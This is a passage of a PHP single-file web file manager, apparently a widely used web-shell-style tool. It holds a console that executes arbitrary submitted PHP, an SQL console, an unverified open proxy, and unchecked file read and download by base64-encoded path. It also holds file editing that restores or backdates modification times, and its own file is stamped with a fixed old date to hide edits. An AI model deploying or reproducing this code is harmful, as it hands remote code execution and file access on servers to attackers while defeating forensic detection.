} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
<form action="" method="GET">
<input type="hidden" name="proxy"
value="true">
'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
<input type="submit"
value="'.__('Show').'"
class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image:
url("data:image/png;base64,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");
}
.file {
background-image:
url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' :
$_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo
'</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
<form action="" method="POST"
name="console">
<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
<input type="reset"
value="<?=__('Reset')?>">
<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
$select .= '<option value="-1">' .
__('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
